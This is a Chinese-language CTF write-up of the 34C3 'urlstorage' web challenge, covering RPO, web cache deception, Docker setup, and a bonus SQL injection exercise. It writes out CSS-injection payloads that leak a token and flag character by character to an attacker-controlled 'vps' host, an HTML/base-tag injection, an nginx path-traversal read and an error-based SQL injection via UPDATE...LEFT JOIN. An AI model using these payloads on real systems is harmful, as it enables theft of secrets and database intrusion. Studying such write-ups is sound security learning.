0x00前言
距离34c3比赛已近过去了几个月了,这个比赛的质量在CTF中还是数一数二的,该欠的还是要还,因此将环境重现出来进行学习,本次只对urlstorage进行研究,其他的实在做不来
0x01RPO
RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。一般是因为Apache 配置错误导致AllowEncodedSlashes这个选项开启(对Apache来说默认情况下 AllowEncodedSlashes 这个选项是关闭的),或者nginx服务器。同时也是存在相对路径的js或者css的引用。
对于同样的url,apache和nginx就出现完全不一样的结果,在相同目录建立两个相同的html文件,因为nginx上面没有配置php所以就用html替一下一样的啦
apache不显示,nginx却显示出路径
可以清楚地看到对于完全相似的URL,不同的服务器的处理方式是不同的:Apache服务器默认情况下不认识..%2f这个符号,认为..%2fapache.php是一个文件
http://localhost/RPO/..%2fapache.php == ..%2fapache.php
所以没有找到。
但是Nginx不同,它能自动地把..%2f进行url解码,转化为../ 这个符号对于服务器来说就是向前跳转一个目录,在它眼中我们请求的就是
http://localhost/RPO/..%2fnginx.html == http://localhost/nginx.html
于是就访问到了我们RPO目录下的nginx.html。
因此,我们可以跨目录执行执行js脚本,也就是说当我们将脚本放在同目录的不同环境下,在站点引用的js为相对环境的同时我们可以使用相对路径进行攻击。例如,我们写一个html放在根目录下
<!DOCTYPE html>
<html>
<title>RPO attack test</title>
<body>
<script src="rpo.js"></script>
</body>
</html>
写入一个rpo.js的js脚本
alert('succeesful attack')
将js放在RPO目录下,样式大致为下
├─index.html
│ ├─rpo
│ └─rpo.js
输入url http://192.168.0.133/rpo/..%2findex.html
则触发payload
此时nginx服务接受的是
http://192.168.0.133/rpo/../index.html
则转化为
http://192.168.0.133/index.html
进行读取,而此时脚本的目录则加载同目录下的脚本文件,因此文件在同等根目录下,因此浏览器会认为..%2findex.html
是一个页面,因此就会加载下面的脚本位置
http://192.168.0.133/rpo/rop.js
web缓存投毒
同时也叫缓存欺骗(Web Cache Deception),其核心是攻击者去欺骗缓存服务器,让他缓存了本来不应该缓存的页面,导致敏感信息泄露。这里使用p神的解读,通过一个简单的nginx缓存服务器
http {
# ...
proxy_cache_path /data/nginx/cache levels=1:2 keys_zone=STATIC:20m
inactive=24h max_size=1g;
server {
# ...
location \.(css|js|jpeg|jpg|png|gif)$ {
proxy_pass http://10.0.0.1;
proxy_set_header Host $host;
proxy_buffering on;
proxy_cache STATIC;
proxy_cache_valid 200 1d;
}
location / {
proxy_pass http://10.0.0.1;
proxy_set_header Host $host;
}
}
}
这个配置大致是Nginx将数据包反向代理到内网的服务器10..0.0.1中,并根据请求的PATH,将请求分成两种类型:当后缀是静态文件(包括css、js和图片)时,Nginx将开启缓存,并设置当响应status是200的时候缓存1天时间;其他情况下,不使用缓存。假设10.0.0.1所在的服务器是一个php开发点,用户访问http://10.10.10.1/profile.php
既可以查看自己的个人信息,因为php是支持一种叫做`PATH_INFO`的CGI变量的,也就是当用户请求一个已存在的PHP脚本时,在后面加上`/DATA`,从`/`开始的数据将会保存在`$_SERVER['PATH_INFO']`中。
但是当用户请求了http://10.10.10.1/profile.php/test.css
的时候用户实际访问的是profile.php页面,但其PATH却是`/profile.php/test.css`。此时,后端返回的是用户的个人信息页面,然而Nginx会认为这是一个静态文件,并将其内容缓存下来。就是说,这个用户的个人信息被保存在缓存服务器中。此时,其他用户再次访问`/profile.php/test.css`的时候,将可以看到这些信息,导致了信息泄露漏洞。这里有一个相关的视频(需要科学上网)
0x02题目环境搭建
让我们来实践一下。在eboda的github上面下载下来题目,正好了解一下docker,以便后续的学习
build
docker build [OPTIONS] PATH | URL | -
部分的基本参数为
--build-arg=[] :设置镜像创建时变量
--file,-f :指定要使用的docker路径
--platform: 设置设置平台如果服务器有多平台的话
--pull 总是使用最新的镜像
--quit,-q:成功时,不打印出镜像ID
--tag , -t :为镜像命名,格式为 'name:tag' 类型
--target : 设置需要创建的目标
run
docker run [OPTIONS] IMAGE[:TAG|@DIGEST] [COMMAND] [ARG...]
一些常用的命令为
-a stdin: 指定标准输出内容类型
-d :后台运行,并返回容器ID
-i: 以交互式模式运行,通常与-t一起使用
-t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
-p:端口映射,通常格式为 主机(宿主机端口):容器端口
-P:随机分配端口
--name :为容器指定一个名字
-m :设置容器使用最大值
在urlstorage目录下运行docker build -t christa/34c3
命令,然后等待完成后输入docker ruin --rm -d 31337:80 --name chrsita_34c3 christa/34c3
运行容器,运行docker ps
查看容器运行情况,如下即成功
root@34c3:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
22e6fe7b5198 eboda/urlstorage "/bin/sh -c 'service…" 22 hours ago Up 22 hours 0.0.0 .0:31337->80/tcp urlstorage
Dockerfile的话之后再学吧...
0x03 urlstorage
打开题目,登陆之后,发现一个储存url的地方
F12检查元素发现了CSP规则,放入CSP检查网站后得到
从CSP语法来看,该站点能使用javascript的脚本,先留着,继续往后,发现该站点为Djano所写,并且使用nginx,静态文件是相对路用
如图所见,相对路径调用css,并且网站为Django所写,在路由器配置中,只要当前路径正确,后面的连接路径输入任意值都会返回当前路径,这时我们就可以试试RPO攻击了,众所周知,css在执行文件的时候会将错误的语法进行跳过,因此我们使用如下的语句储存在url中
%0a{}%0a*{color:green}
访问/任意字符串外加static/css/milligram.min.css
得到如下反馈
同时flag?token={}页面下也有如下问题,我们尝试一下payload,得到反馈
</title><iframe/src/=//vps/christa>
终端上也有显示
因此,我们使用payload
a[href^=flag\?token\=0]{background: url(//vps?c=0);}
a[href^=flag\?token\=1]{background: url(//vps?c=1);}
...
a[href^=flag\?token\=f]{background: url(//vps?c=f);}
大致意思为,如果token符合的话,服务器将会向我的vps申请一张图片,当第一位数得到之后,我们继续请求第二位数
a[href^=flag\?token\=10]{background: url(//vps?c=10);}
a[href^=flag\?token\=11]{background: url(//vps?c=11);}
...
a[href^=flag\?token\=1f]{background: url(//vps?c=1f);}
但是服务端每次访问都会重新登陆一次,每次重新登陆都会刷新token,所以题目在contact页面还给出了一个脚本pow.py,使服务端会有30s时间来访问我们的所有url,这样我们就有足够的时间拿到服务端的32位[0-9a-f]
的token。
在拿到token之后,因为在浏览器处理相对路径时,一般情况是获取当前url的最后一个/
前作为base url,但是如果页面中给出了base标签,那么就会读取base标签中的url作为base url。,flag页面的参数为24为可控,我们可以引入urlstorage作为base标签,这样css任然会加载urlstorage的所有内容,就可以继续使用RPO进行探测.
http://108.61.177.177:31337/flag?token=f50bdebec74824a98dbe4553157616b6</title><base/href=/urlstorage/
在使用css获取flag时,字符串首位不会被识别,因此使用双引号包裹,但双引号被转义,因此使用*
来替换
#flag[value*=C3_1]{background: url(//vps/C3_1);} #flag[value*=C3_0]{background: url(//vps/C3_1);} .. #flag[value*=C3_f]{background: url(//vps/C3_1);}
30s得到32位token和40位的flag
最终flag为
flag{34C3_d163c315ddc5458d329d6f4a617ce6d5358145cb}
非预期解
此题目因为nginx配置出错,导致出来任意目录读取,在路径http://108.61.177.177:31337/static../views.py
因此在template的目录下可以读到flag的配置
0x04 彩蛋
逛一逛paper的文章,发现一个SQL注入小题目,读一下源码
<?php
$link = mysqli_connect('localhost', 'root', 'passwd','tb');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `name`='admin'
WHERE nid=4";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
?>
一个update的注入,发现SQL语句不是直接拼凑在后面的东西,不为一行代码的东西,因此所以不能用单行注释把后面的语句注释掉,同时又有addslashes
函数的存在,因此'
,"
,\
等都不存在,因此只能在UPDATE {$table}
里面进行注入了,看下面一个查询语句
UPDATE student D
LEFT JOIN (SELECT
B.studentId,
SUM(B.score) AS s_sum,
ROUND(AVG(B.score),1) AS s_avg
FROM score B
WHERE b.examTime >= '2015-03-10'
GROUP BY B.studentId) C
ON (C.studentId = D.id)
SET D.score_sum = c.s_sum,
D.score_avg = c.s_avg
WHERE D.id =
(
SELECT
E.id FROM
(
SELECT
DISTINCT a.studentId AS id
FROM score A
WHERE A.examTime >= '2015-03-10'
) E
WHERE E.id = D.id
)
AND d.age = 1;
可以看到在update语句后面使用left join
进行了查询,但update同时不能出现一个表中的相同列名,因此使用Mysql的一个虚标dual
构造一下下面的语句
update `table` t left join (select ‘1’ as user from dual) tt on tt.user=t.username set name='admin' where nid=4;
用select ‘1’ as user from dual 把’1’这个字段重命名是要满足后面on的条件,及:on tt.user=t.username 而且这里要用‘1’而不是用数字是因为tale表里面的username类型是varchar类型 执行后面发现可以正常更新,也就是说成功的引入了一个子查询在我想要的地方,那么后面的事情就简单很多了,直接引入一个报错注入的语句在子查询里面就可以进行查询,因为引号转义以及反引号无法闭合,因此将单引号位置用char替代即可,因此语句为
UPDATE `tb1` t
left join (select char(97) as user
from dual
where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt
on
tt.user=`t.username
set name = 'admin'
where nid=4;
注入成功
Reference
- https://docs.docker.com/engine/reference/commandline/build/
- https://docs.docker.com/engine/reference/run/
- https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/
- https://paper.seebug.org/493/#writeup
- https://www.freebuf.com/articles/web/166731.html
- https://portswigger.net/blog/practical-web-cache-poisoning
- https://paper.seebug.org/216/